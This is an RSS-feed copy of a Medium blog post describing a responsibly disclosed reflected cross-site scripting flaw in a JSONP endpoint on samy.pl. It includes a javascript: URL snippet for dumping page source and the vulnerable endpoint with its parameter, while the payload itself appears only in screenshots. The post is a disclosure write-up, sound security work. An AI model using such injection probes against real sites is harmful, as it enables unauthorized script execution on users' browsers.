            <category><![CDATA[security]]></category>
            <category><![CDATA[samy-kamkar]]></category>
            <category><![CDATA[thenittam]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[nepal]]></category>
            <dc:creator><![CDATA[Nirmal Dahal - #Nittam]]></dc:creator>
            <pubDate>Tue, 26 Nov 2019 15:21:21 GMT</pubDate>
            <atom:updated>2020-10-01T17:57:05.361Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi guys, so today I am going to present a security issue that I found on a website that is famous among the information security researchers. Samy Kamkar is an American privacy and security researcher, computer hacker, entrepreneur and for me a very big influencer. Samy Kamkar is the person who created the first JavaScript-based worm known as <em>Samy Worm</em> which went viral within a few hours ultimately compelling myspace to shut down temporarily.</p><p>I was explaining the work of <a href="https://samy.pl/"><em>Samy Kamkar</em></a> to one of my friends. Samys <a href="https://samy.pl/"><em>site</em></a> has so many easter-egg like challenges. We are not allowed to view the source code using normal methods like ‘right-click’, ‘Inspect element’, ‘Ctrl + shift + I’ etc. Then I tried the following snippet.</p><blockquote>javascript:https://samy.pl/?%0aalert(document.body.innerText=document.body.innerHTML)</blockquote><p>I was able to see the source code that was extracted from the DOM for the Samy’s website.</p><p>You guys can go to <a href="https://samy.pl/">https://samy.pl</a> and try to right-click, view his source code using CTRL + u or even go to another tab and type :</p><blockquote>view-source:https://samy.pl</blockquote><p>Lastly, try to view the source using inspect element and I think you will be surprised. Do comment if you find any other way to view the source code.</p><p>Then I started going through everything that was on the website. I saw that <em>he was using JS code to detect proxies like Burp, Charles &amp; Fiddler</em>. I dug deeper to see everything he was using to make the awesome website that he has. Sometime later I found a suspicious <em>“jsonp endpoint”</em> that was used to reflect the public IP address of whoever is requesting his website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k_r3sf0RIM9utVyu4jIdpA.png" /><figcaption><em>Verifying proxy tools.</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*TSXxDvncqEpcvHiU2xUOkA.png" /><figcaption><em>This code was verifying if the user was logged in or not.</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MqMTGZJeMd2vOETgHl2Fdw.png" /><figcaption><em>Vulnerable EndPoint.</em></figcaption></figure><p>The endpoint was something like <a href="https://samy.pl/ipp.php?jsonp=st"><em>https://samy.pl/ipp.php?jsonp=st</em></a> then it would reflect something like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*j_47XhMNEyGTe3o4FvoP_g.png" /><figcaption><em>1st Image</em></figcaption></figure><p>After finding the endpoint I started altering the endpoint. First I removed ‘st’ from the endpoint and I saw that it was also removed on the reflected output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*bIwvvjrpSvTeSh-iiRqUPg.png" /><figcaption><em>2nd image</em></figcaption></figure><p>I then altered furthermore by adding ‘&lt;&gt;’ which was successfully reflected on the site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*BKDdicwyNyy3BL-rNA9MNg.png" /><figcaption><em>3rd image</em></figcaption></figure><p>When I saw that the greater than and smaller than symbols were reflected I straight jumped into using my custom script to reflect a cross-site scripting vulnerability that was successfully executed and that was how I was able to perform XSS on <a href="https://samy.pl/"><em>Samy.pl</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YOIGdXpNiOAr3aDHxD8fXg.png" /><figcaption><em>R-XSS DOM Overwrite</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*Vitg78j7akjKnDcApvNJew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*UFOm6KFEc__NSRZC5Cxsrw.png" /></figure><h4>Video PoC:</h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FAlG0-x5QG3A%3Ffeature%3Doembed&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DAlG0-x5QG3A&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FAlG0-x5QG3A%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/ef17393e0b023bc948fe7c4c1fe8c502/href">https://medium.com/media/ef17393e0b023bc948fe7c4c1fe8c502/href</a></iframe><h3>Timeline</h3><ul><li><em>June 6, 2019</em> — <em>Report Sent</em></li><li><em>June 7, 2019</em> — <em>Fixed &amp; allowed to publish by Samy Kamkar</em></li></ul><h3>२ शब्द:</h3><p>I have found in my past experience that even some top security researchers from <em>HackerOne</em> have had their site hacked or other security researchers have discovered some type of vulnerability. No matter how much people claim to have their site/system it is 100% secure or no matter how much a person is experienced it is only a matter of time and the amount of knowledge to discover a new or even existing flaw.</p><p>Note: I did not think I would find an XSS issue in Samy Kamkar&#39;s site. The person who created the first-ever javascript-based worm. I have written this blog with the full permission of <a href="https://twitter.com/samykamkar"><em>Samy Kamkar</em></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jXuGwKm9nbdS118YmRj0oA.png" /></figure><h3>धन्यवाद!!!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc36e24da014" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cryptogennepal/xss-on-samy-pl-samy-kamkar-dc36e24da014">XSS on Samy.pl (Samy Kamkar)</a> was originally published in <a href="https://medium.com/cryptogennepal">CryptoGen Nepal</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>